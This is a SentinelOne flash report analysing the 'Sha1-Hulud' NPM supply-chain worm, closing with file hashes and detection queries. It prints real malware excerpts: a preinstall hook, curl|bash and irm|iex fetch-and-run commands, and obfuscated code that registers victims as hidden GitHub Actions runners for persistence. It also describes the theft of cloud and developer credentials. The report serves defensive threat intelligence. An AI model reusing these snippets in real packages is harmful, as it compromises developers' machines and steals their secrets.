Shai-Hulud Worm 2.0 is a major escalation of the NPM supply chain attack, now executing in the preinstall phase to harvest credentials across AWS, Azure, and GCP and establish persistence via GitHub Actions.
The following SentinelOne Flash Report was sent to all SentinelOne customers and partners on Tuesday, November 25, 2025. It includes an in-depth analysis of the new variant’s tactics, our real-time detection posture, and the critical, immediate actions required to secure your environment.
| Document Type: Wayfinder Flash Report | TLP: Green |
| Date of Publication: 25 November 2025 | Cyber Risk Rating: High |
| Date of Research: 24 November 2025 | Referenced Threat Activity: Supply chain attacks |
“Sha1-Hulud” is the name of an ongoing NPM supply chain attack which started as early as November 21, 2025 according to public information. The new attack is similar to the previous “Shai Hulud”, but includes additional features and is triggered by different compromised packages. The name of the new attack comes from the malware author’s description inside the GitHub repository with the exfiltrated data:

While the attacks share similarities, the new attack is slightly different from the previous one and it is not yet known if both attacks come from the same threat actor.
The current attacks have impacted several popular packages such as:
A comprehensive list of affected packages can be found here.
Unlike the previous attack, which used “postinstall” to trigger the malware execution, the “Sha1-Hulud” attack utilizes “preinstall” to execute the malware:
...
"scripts": {
"preinstall": "node setup_bun.js"
}
...
}
The malware downloads the legitimate “bun” tool to orchestrate the current attack:
async function downloadAndSetupBun() {
try {
let command;
if (process.platform === 'win32') {
// Windows: Use PowerShell script
command = 'powershell -c "irm bun.sh/install.ps1|iex"';
} else {
// Linux/macOS: Use curl + bash script
command = 'curl -fsSL https://bun.sh/install | bash';
}
…
const environmentScript = path.join(__dirname, 'bun_environment.js');
if (fs.existsSync(environmentScript)) {
runExecutable(bunExecutable, [environmentScript]);
} else {
process.exit(0);
}
The file “bun_environment.js” is an obfuscated JavaScript malware being added to the compromised packages in the “Sha1-Hulud” attack.
This script creates additional files such as “cloud.json”, “contents.json”, “environment.json”, and “truffleSecrets.json” for exfiltration and “discussion.yaml” for persistence.
The payload then registers the infected machine as a self-hosted runner named “SHA1HULUD”:
let _0x449178 = await this.octokit.request("POST /repos/{owner}/{repo}/actions/runners/registration-token", {
'owner': _0x349291,
'repo': _0x2b1a39
});
if (_0x449178.status == 0xc9) {
let _0x1489ec = _0x449178.data.token;
if (a0_0x5a88b3.platform() === 'linux') {
await Bun.$`mkdir -p $HOME/.dev-env/`;
await Bun.$`curl -o actions-runner-linux-x64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir + "/.dev-env").quiet();
await Bun.$`tar xzf ./actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir + "/.dev-env");
await Bun.$`RUNNER_ALLOW_RUNASROOT=1 ./config.sh --url https://github.com/${_0x349291}/${_0x2b1a39} --unattended --token ${_0x1489ec} --name "SHA1HULUD"`.cwd(a0_0x5a88b3.homedir + "/.dev-env").quiet();
await Bun.$`rm actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir + "/.dev-env");
Bun.spawn(["bash", '-c', "cd $HOME/.dev-env && nohup ./run.sh &"]).unref();
} else {
if (a0_0x5a88b3.platform() === "win32") {
await Bun.$`powershell -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-win-x64-2.330.0.zip -OutFile actions-runner-win-x64-2.330.0.zip"`.cwd(a0_0x5a88b3.homedir());
await Bun.$`powershell -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory(\"actions-runner-win-x64-2.330.0.zip\", \".\")"`.cwd(a0_0x5a88b3.homedir());
await Bun.$`./config.cmd --url https://github.com/${_0x349291}/${_0x2b1a39} --unattended --token ${_0x1489ec} --name "SHA1HULUD"`.cwd(a0_0x5a88b3.homedir()).quiet();
Bun.spawn(["powershell", '-ExecutionPolicy', "Bypass", "-Command", "Start-Process -WindowStyle Hidden -FilePath \"./run.cmd\""], {
'cwd': a0_0x5a88b3.homedir()
}).unref();
} else {
if (a0_0x5a88b3.platform() === "darwin") {
await Bun.$`mkdir -p $HOME/.dev-env/`;
await Bun.$`curl -o actions-runner-osx-arm64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-osx-arm64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir + "/.dev-env").quiet();
await Bun.$`tar xzf ./actions-runner-osx-arm64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir + "/.dev-env");
await Bun.$`./config.sh --url https://github.com/${_0x349291}/${_0x2b1a39} --unattended --token ${_0x1489ec} --name "SHA1HULUD"`.cwd(a0_0x5a88b3.homedir + "/.dev-env").quiet();
await Bun.$`rm actions-runner-osx-arm64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir + '/.dev-env');
Bun.spawn(["bash", '-c', "cd $HOME/.dev-env && nohup ./run.sh &"]).unref();
}
}
}
For persistence, the malware adds a workflow called “.github/workflows/discussion.yaml” that contains an injection vulnerability, allowing the threat actor to write a specially crafted message in the repository discussions section. Subsequently, the message executes code on the infected host registered as a runner.

Unlike previous attacks that only targeted the software development environment, this attack also steals AWS, GCP, and Azure secrets that could allow the threat actor to move laterally across the cloud environment. Such information is saved to the “cloud.json” file:

The base64 in Fig. 3 translates to the following:
{"aws":{"secrets":[]},"gcp":{"secrets":[]},"azure":{"secrets":[]}}
The creation of the file does not necessarily mean that the cloud secrets have been stolen as the config can be empty.
The threat actor is also using Trufflehog in this new attack to steal secrets related to the development environment such as GitHub and NPM secrets and tokens – a similar tactic seen in the previous “Shai-Hulud” attack.
While the exact motives of the attackers are currently unknown, successful infection is resulting not only in the theft of intellectual property and private code, but also cloud secrets that could allow a broader breach across a cloud environment. The persistence capabilities allow the threat actor to execute malicious code on the infected host, which is an asset within the development environment of the victim.
SentinelOne EPP behavioral AI engines continuously monitor for suspicious activities associated with supply chain attacks and worm propagation, including:
The SentinelOne Platform Detection Library includes rules to detect Shai-Hulud worm activity across multiple attack stages:
The Wayfinder Threat Hunting team is proactively hunting, leveraging threat intelligence associated with this emerging threat. If any suspicious activity is identified in your environment, we will notify your organization’s designated escalation contacts immediately.
Wayfinder Threat Hunting provides the following recommendations for immediate action and strategic mitigation:
| Type | Value | Description |
| SHA1 | 3d7570d14d34b0ba137d502f042b27b0f37a59fa | bun_environment.js |
| SHA1 | d60ec97eea19fffb4809bc35b91033b52490ca11 | bun_environment.js |
| SHA1 | 8de87cf4fbdd1b490991a1ceb9c1198013d268c2 | bun_environment.js |
| SHA1 | f37c6179739cf47e60280dd78cb1a86fd86a2dcf | bun_environment.js |
| SHA1 | 91429fbfef99fa52b6386d666e859707a07844b2 | bun_environment.js |
| SHA1 | ba08d2fcc6cd1c16e4022c5b7af092a4034ceedc | bun_environment.js |
dataSource.name = 'SentinelOne' and event.type = 'Process Creation' and src.process.cmdline contains '--name SHA1HULUD' and src.process.cmdline contains '--unattended --token '
dataSource.name = 'SentinelOne' AND tgt.file.sha1 in ("3d7570d14d34b0ba137d502f042b27b0f37a59fa","d60ec97eea19fffb4809bc35b91033b52490ca11","8de87cf4fbdd1b490991a1ceb9c1198013d268c2","f37c6179739cf47e60280dd78cb1a86fd86a2dcf","91429fbfef99fa52b6386d666e859707a07844b2","ba08d2fcc6cd1c16e4022c5b7af092a4034ceedc") and src.process.name contains 'node'
dataSource.name = 'SentinelOne' AND tgt.file.size>7000000 AND (tgt.file.path contains '/bun_environment.js' or tgt.file.path contains '\\bun_environment.js') AND !(tgt.file.sha1 in ("3d7570d14d34b0ba137d502f042b27b0f37a59fa","d60ec97eea19fffb4809bc35b91033b52490ca11","8de87cf4fbdd1b490991a1ceb9c1198013d268c2","f37c6179739cf47e60280dd78cb1a86fd86a2dcf","91429fbfef99fa52b6386d666e859707a07844b2","ba08d2fcc6cd1c16e4022c5b7af092a4034ceedc"))